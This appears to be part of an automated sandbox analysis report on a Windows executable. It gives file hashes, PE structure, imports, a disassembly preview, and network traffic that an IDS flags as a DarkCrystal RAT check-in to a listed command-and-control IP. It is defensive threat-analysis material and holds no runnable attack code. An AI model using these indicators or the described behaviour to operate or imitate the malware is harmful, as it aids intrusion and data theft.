Process:	C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe
File Type:	ASCII text, with very long lines (648), with no line terminators
Category:	dropped
Size (bytes):	648
Entropy (8bit):	5.866598649361759
Encrypted:	false
SSDEEP:	12:51dqxEFEn8C4X+FEaLMMuRffj9CRXbYzpQIWOcgFjQI3DgQTNcMS:51dqxNLDFPMPfcRrPIWhI3DBfS
MD5:	B476E6901BB671AD2D30321EAFF23D4A
SHA1:	530DE955650DB312C1CF542FE4A84593ABF8BEF6
SHA-256:	8AFD38BC7EEB5747391D9C9E72B690DC65AB5C89FDEF8F7BB10296273BCA7EE2
SHA-512:	D9CFEC5B728B3B704EEDC15E17250296C5CFDD223B56C8D69200CF68884326B9578767A4AAA8E5AE78E2363CE3A45134CDB0E8EFA5C3DCF5C0FFE8A841CFA5DB
Malicious:	false
Preview:	BtXFFkC8lCcwhSyoHvJocuSVgoH5qcpGxWcGK9apzRuY142EpwyeevLQaCjbdGRIWV8KzrdIUeyLA3elwCQ4oLmCLLqIZ9Mt9lCf5rP8SpJA69Qgh8oa0XeLt69nBVsVREMY19pEwSm8BlFL5JkbVv3lH0v9rl766ys2x1piSjnhugKH0ys1uRAfLkRBNpXLVpBN3NXDeCIvHV0lqoJ33FMpyNqNknUmMcMFe7OnaoXsIOYztqVjgdRQdWYqgKc0rgioJvGsZfdOrdgjy0d4SvFsL5mIiiGPLhBmptq8jmJBACj9zy1qrii5bzdNI7K1ZNDJc34FKfUplEsIWnStrain9FLzPczlcSmx9Zg54vgLN2UWHV1fpaJ8oaKXsE0rqtNSc5I6HWy53WZGuys3lT6BInIjPIN04zfepB4MM4YSlNFRAEn3W6GWwLKzxjr8J8BE15at4grq5oZ4h0iKfTe8sIsd1FZmNZInMAaFo490PZaIwPR6Agd0eDVtN61zGEcgfwshadgkTosTrjrmxcmq5SJJoq2rCKtK64m9htgh92gzUCBnOPBocvlMni3tlziJ5hWx7sEE6ErCwTzlpPcxJFsLTaW80w6KUX4wqOqgK7rXEiaUsRDWWv90zLdgWFNJIgrY

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421586891696594
Encrypted:	false
SSDEEP:	6144:bSvfpi6ceLP/9skLmb0OTMWSPHaJG8nAgeMZMMhA2fX4WABlEnNK0uhiTw:GvloTMW+EZMM6DFyY03w
MD5:	F1965BC054E6D6EAF2DDFEAA3FDA9C45
SHA1:	8DBFC4114B5C45A62D76E7B35FEF3585244F6ED9
SHA-256:	3F8B5637CF18A68C5EBD061379F6F87D505FBECE70264814638E2A6F68FC7332
SHA-512:	BAD53695BB16B9841D1A6B4844BE7F0C8DACFF7A6A8D37AA504C1F6064B422159EFB48D13EDEFBAAAA2B4E44C4F3A60DF5D526454EE438FDE6CA0ADC823DDD95
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...Z.J...............................................................................................................................................................................................................................................................................................................................................@.n........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\KyC6hVwU8Z.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.613979319612254
Encrypted:	false
SSDEEP:	12:Pkl5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:sfdUOAokItULVDv
MD5:	032C705D3EE087290604BFC8E0242F88
SHA1:	E7CB57DE13AC98A3C8735758A1C4294DB66543E5
SHA-256:	6160273CADF8F850FB0EA0A535C233596D736ED11EFDF4FC1E09F687C46B64E2
SHA-512:	EDE27B27A72F86E8F1AB727BED2CD1335BF1A8675B3ABE2B6D896999B3A8265905446F612BC7F86F2CC8C1B0585092BC74B36F5838809C85419A0A34CC6CDEE6
Malicious:	false
Preview:	..Pinging 066656 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.875768293601397
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KyC6hVwU8Z.exe
File size:	1'341'440 bytes
MD5:	a8c535490feb18fdff588d94c0d8a889
SHA1:	7e8660d2481014bdf84814273573b921202c67e6
SHA256:	5f4e7c6f450d28136464acb431e1ec1be7812fc72f9eeede3b767f4e0194801b
SHA512:	d858372eb3f87af450b33ecbbb989b97a11dfc4cfd0ae7aee612b43b015b1ff23a2fabcccd0f751fdd78278549a623a895efebcc50964155c15aa1f1e56191dc
SSDEEP:	24576:4sQst5PapBfSRvZ2acs9504+O4cgjqOM0JrK1PxNhiFlGHDTyoy9mX5BifNpttmw:4CZ8WOs50Z3NjnM0J4DhiHIDW9mXyfNt
TLSH:	78551283F5A340A3F79354B01B24C9E5C419BDB37B151CCB61588159AAF4ACBCB7BA23
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...w.$g.............................d............@.......................................@.....................................(..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4464d0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6724E277 [Fri Nov 1 14:15:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	79c892efe640fd61fcdafaed00816c87

Entrypoint Preview

Instruction
call 00007FAA3C7DE62Ah
jmp 00007FAA3C7DE48Dh
mov ecx, dword ptr [004635E0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007FAA3C7DE626h
test esi, ecx
jne 00007FAA3C7DE648h
call 00007FAA3C7DE651h
mov ecx, eax
cmp ecx, edi
jne 00007FAA3C7DE629h
mov ecx, BB40E64Fh
jmp 00007FAA3C7DE630h
test esi, ecx
jne 00007FAA3C7DE62Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [004635E0h], ecx
not ecx
pop edi
mov dword ptr [004635DCh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [00461FB8h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [00461F78h]
xor dword ptr [ebp-04h], eax
call dword ptr [00461F74h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [00461FF8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00464B78h
call dword ptr [00461FD8h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61dc8	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x67000	0x1910	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5b7c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x61f20	0x130	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x59e6a	0x5a000	5d580fc783dfdd8a266e091e082f30cf	False	0.66435546875	data	7.0802944473385505	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x5b000	0x7eb4	0x8000	a3f8ada3ed32443a7f4cdc8946ef07e5	False	0.459869384765625	OpenPGP Public Key	5.119166936059444	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x63000	0x226c	0x1000	8e2085cae6a0e440569f70b4c52b96ec	False	0.484619140625	data	5.081762228755209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x66000	0x8	0x200	71b14cd0690fc82caf94afcf4d5a7de2	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x67000	0x1910	0x1a00	4b35946be7aa56a8bbb45bdb9cec7036	False	0.7639723557692307	data	6.366822996232983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.back	0x69000	0xe1600	0xe2600	104d169661d0dd151a2654a312b3daa4	False	1.0003138373136389	data	7.999820672261007	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSizeEx, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemFileCacheSize, GetSystemTimeAsFileTime, GlobalFindAtomA, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, RtlUnwind, SetEndOfFile, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-10T07:33:14.232792+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.5	49867	185.43.5.93	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 07:33:12.724128008 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:12.843532085 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:12.845129967 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:12.846340895 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:12.965934992 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:13.205267906 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:13.324608088 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.185507059 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.232791901 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.290899992 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.291258097 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.291363001 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.324624062 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.443985939 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.673285007 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.727308035 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.765646935 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.792711973 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.813779116 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.846714020 CET	80	49872	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:14.846793890 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.846919060 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:14.966296911 CET	80	49872	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.131705046 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.173135042 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:15.204730988 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:15.206686020 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:15.324193954 CET	80	49872	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.325932980 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.563961983 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:15.647706985 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.683198929 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.683300018 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:15.688782930 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.023825884 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:16.079421043 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.186197042 CET	80	49872	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:16.235641956 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.419662952 CET	80	49872	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:16.470015049 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.679074049 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.679430962 CET	49878	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.682254076 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.798774958 CET	80	49878	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:16.798794985 CET	80	49867	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:16.798921108 CET	49867	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.798930883 CET	49878	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.799145937 CET	49878	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.802017927 CET	80	49872	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:16.802264929 CET	49872	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.900024891 CET	49878	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:16.918601036 CET	80	49878	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:17.059612989 CET	80	49878	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:17.169691086 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:17.289257050 CET	80	49881	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:17.289405107 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:17.289678097 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:17.409136057 CET	80	49881	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:17.642237902 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:17.761527061 CET	80	49881	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:17.811039925 CET	80	49878	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:17.811151981 CET	49878	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:18.735337019 CET	80	49881	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:18.854969978 CET	80	49881	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:18.855214119 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:20.556297064 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:20.658693075 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:20.676089048 CET	80	49881	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:20.676238060 CET	49881	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:20.778032064 CET	80	49888	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:20.778153896 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:20.778395891 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:20.897617102 CET	80	49888	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:21.060887098 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:21.126540899 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:21.180543900 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:21.180668116 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:21.235797882 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:21.245867014 CET	80	49888	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:21.355290890 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:21.595134020 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:21.714468956 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:21.714592934 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:22.105420113 CET	80	49888	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:22.219984055 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:22.341228008 CET	80	49888	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:22.423171997 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:22.507153988 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:22.626286030 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:22.743738890 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:22.938775063 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.014800072 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.014955997 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.015228033 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.135121107 CET	80	49888	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:23.135171890 CET	80	49896	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:23.135226965 CET	49888	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.135287046 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.135458946 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.135653019 CET	80	49890	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:23.135703087 CET	49890	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.254662991 CET	80	49896	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:23.485750914 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:23.605092049 CET	80	49896	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:24.473460913 CET	80	49896	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:24.673162937 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:24.707362890 CET	80	49896	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:24.860646009 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:24.928284883 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:24.928484917 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:25.047748089 CET	80	49902	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:25.047841072 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:25.047846079 CET	80	49896	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:25.047904015 CET	49896	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:25.048027039 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:25.167242050 CET	80	49902	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:25.407638073 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:25.526962996 CET	80	49902	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:26.375740051 CET	80	49902	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:26.423154116 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:26.611702919 CET	80	49902	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:26.746903896 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:26.746968985 CET	49908	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:26.866214037 CET	80	49908	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:26.866352081 CET	49908	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:26.866449118 CET	80	49902	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:26.866535902 CET	49902	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:26.866580963 CET	49908	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:26.985784054 CET	80	49908	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:27.220108032 CET	49908	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.339428902 CET	80	49908	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:27.758757114 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.761042118 CET	49908	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.878031015 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:27.878113031 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.878232956 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.885353088 CET	80	49908	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:27.885425091 CET	49908	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.915184021 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:27.997525930 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:28.034888983 CET	80	49912	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:28.036315918 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:28.036525965 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:28.156472921 CET	80	49912	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:28.235726118 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:28.355371952 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:28.355386019 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:28.391923904 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:28.511159897 CET	80	49912	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.216737032 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.360665083 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.364178896 CET	80	49912	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.451431036 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.470024109 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.603425026 CET	80	49912	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.673132896 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.673322916 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.775515079 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.775566101 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.776088953 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.895090103 CET	80	49910	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.895144939 CET	49910	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.895296097 CET	80	49918	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.895642996 CET	80	49912	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:29.895709991 CET	49912	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.898051977 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:29.906306982 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:30.025569916 CET	80	49918	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:30.251306057 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:30.370570898 CET	80	49918	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:31.225570917 CET	80	49918	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:31.313719988 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:31.459662914 CET	80	49918	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:31.623245001 CET	49924	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:31.626198053 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:31.729070902 CET	49918	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:31.742501020 CET	80	49924	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:31.744328022 CET	49924	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:31.744492054 CET	49924	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:31.863682985 CET	80	49924	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:32.095103979 CET	49924	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:32.214384079 CET	80	49924	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:33.074024916 CET	80	49924	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:33.120891094 CET	49924	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:33.303427935 CET	80	49924	185.43.5.93	192.168.2.5
Dec 10, 2024 07:33:33.436587095 CET	49929	80	192.168.2.5	185.43.5.93
Dec 10, 2024 07:33:33.436595917 CET	49924	80	192.168.2.5	185.43.5.93
